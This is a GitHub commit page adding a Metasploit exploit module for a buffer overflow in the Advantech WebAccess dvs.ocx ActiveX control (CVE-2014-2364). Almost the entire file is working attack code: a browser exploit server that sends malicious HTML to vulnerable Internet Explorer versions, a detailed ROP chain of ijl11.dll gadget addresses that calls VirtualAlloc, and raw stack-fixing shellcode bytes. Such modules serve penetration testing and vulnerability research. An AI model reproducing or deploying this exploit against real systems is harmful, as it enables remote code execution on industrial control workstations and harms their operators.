Skip to content

Commit 11b9a8a

Browse files
committed
Land rapid7#3814 - Advantech WebAccess dvs.ocx GetColor BoF
2 parents 35f788a + b021ff4 commit 11b9a8a

File tree

1 file changed

+163
-0
lines changed

1 file changed

+163
-0
lines changed
Lines changed: 163 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,163 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::BrowserExploitServer
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a buffer overflow vulnerability in Advantec WebAccess. The
18+
vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to
19+
sprintf can be reached with user controlled data through the GetColor function.
20+
This module has been tested successfully on Windows XP SP3 with IE6 and Windows
21+
7 SP1 with IE8 and IE 9.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Unknown', # Vulnerability discovery
27+
'juan vazquez' # Metasploit module
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2014-2364'],
32+
['ZDI', '14-255'],
33+
['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02']
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'Retries' => false,
38+
'InitialAutoRunScript' => 'migrate -f'
39+
},
40+
'BrowserRequirements' =>
41+
{
42+
:source => /script|headers/i,
43+
:os_name => Msf::OperatingSystems::WINDOWS,
44+
:ua_name => /MSIE/i,
45+
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
46+
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
47+
:method => "GetColor"
48+
},
49+
'Payload' =>
50+
{
51+
'Space' => 1024,
52+
'DisableNops' => true,
53+
'BadChars' => "\x00\x0a\x0d\x5c",
54+
# Patch the stack to execute the decoder...
55+
'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100
56+
# Fix the stack again, this time better :), before the payload
57+
# is executed.
58+
'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
59+
"\x83\xC0\x08" + # add eax, byte 8
60+
"\x8b\x20" + # mov esp, [eax]
61+
"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000
62+
},
63+
'Platform' => 'win',
64+
'Arch' => ARCH_X86,
65+
'Targets' =>
66+
[
67+
[ 'Automatic', { } ]
68+
],
69+
'DefaultTarget' => 0,
70+
'DisclosureDate' => 'Jul 17 2014'))
71+
end
72+
73+
def on_request_exploit(cli, request, target_info)
74+
print_status("Requested: #{request.uri}")
75+
76+
content = <<-EOS
77+
<html>
78+
<head>
79+
<meta http-equiv="cache-control" content="max-age=0" />
80+
<meta http-equiv="cache-control" content="no-cache" />
81+
<meta http-equiv="expires" content="0" />
82+
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
83+
<meta http-equiv="pragma" content="no-cache" />
84+
</head>
85+
<body>
86+
<object classid='clsid:5CE92A27-9F6A-11D2-9D3D-000001155641' id='test' /></object>
87+
<script language='javascript'>
88+
test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0);
89+
</script>
90+
</body>
91+
</html>
92+
EOS
93+
94+
print_status("Sending #{self.name}")
95+
send_response_html(cli, content, {'Pragma' => 'no-cache'})
96+
end
97+
98+
# Uses gadgets from ijl11.dll 1.1.2.16
99+
def rop_payload(code)
100+
xpl = rand_text_alphanumeric(61) # offset
101+
xpl << [0x60014185].pack("V") # RET
102+
xpl << rand_text_alphanumeric(8)
103+
104+
# EBX = dwSize (0x40)
105+
xpl << [0x60012288].pack("V") # POP ECX # RETN
106+
xpl << [0xffffffff].pack("V") # ecx value
107+
xpl << [0x6002157e].pack("V") # POP EAX # RETN
108+
xpl << [0x9ffdafc9].pack("V") # eax value
109+
xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
110+
xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
111+
xpl << [0x60018084].pack("V") # POP EBP # RETN
112+
xpl << rand_text_alphanumeric(4) # padding
113+
xpl << rand_text_alphanumeric(4) # padding
114+
xpl << rand_text_alphanumeric(4) # padding
115+
xpl << rand_text_alphanumeric(4) # padding
116+
xpl << [0x60029f6c].pack("V") # .data ijl11.dll
117+
xpl << [0x60012288].pack("V") # POP ECX # RETN
118+
xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)
119+
xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret
120+
# EDX = flAllocationType (0x1000)
121+
xpl << [0x60012288].pack("V") # POP ECX # RETN
122+
xpl << [0xffffffff].pack("V") # ecx value
123+
xpl << [0x6002157e].pack("V") # POP EAX # RETN
124+
xpl << [0x9ffdbf89].pack("V") # eax value
125+
xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
126+
xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
127+
# ECX = flProtect (0x40)
128+
xpl << [0x6002157e].pack("V") # POP EAX # RETN
129+
xpl << rand_text_alphanumeric(4) # padding
130+
xpl << rand_text_alphanumeric(4) # padding
131+
xpl << rand_text_alphanumeric(4) # padding
132+
xpl << rand_text_alphanumeric(4) # padding
133+
xpl << [0x60029f6c].pack("V") # .data ijl11.dll
134+
xpl << [0x60012288].pack("V") # POP ECX # RETN
135+
xpl << [0xffffffff].pack("V") # ecx value
136+
0x41.times do
137+
xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN
138+
end
139+
# EAX = ptr to &VirtualAlloc()
140+
xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll]
141+
xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll]
142+
# EBP = POP (skip 4 bytes)
143+
xpl << [0x6002054b].pack("V") # POP EBP # RETN
144+
xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn)
145+
# ESI = ptr to JMP [EAX]
146+
xpl << [0x600181cc].pack("V") # POP ESI # RETN
147+
xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax])
148+
# EDI = ROP NOP (RETN)
149+
xpl << [0x60021ad1].pack("V") # POP EDI # RETN
150+
xpl << [0x60021ad2].pack("V") # ptr to &(retn)
151+
# ESP = lpAddress (automatic)
152+
# PUSHAD # RETN
153+
xpl << [0x60018399].pack("V") # PUSHAD # RETN
154+
xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn)
155+
xpl << code
156+
157+
xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string
158+
xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping
159+
160+
xpl
161+
end
162+
163+
end

0 commit comments

Comments
 (0)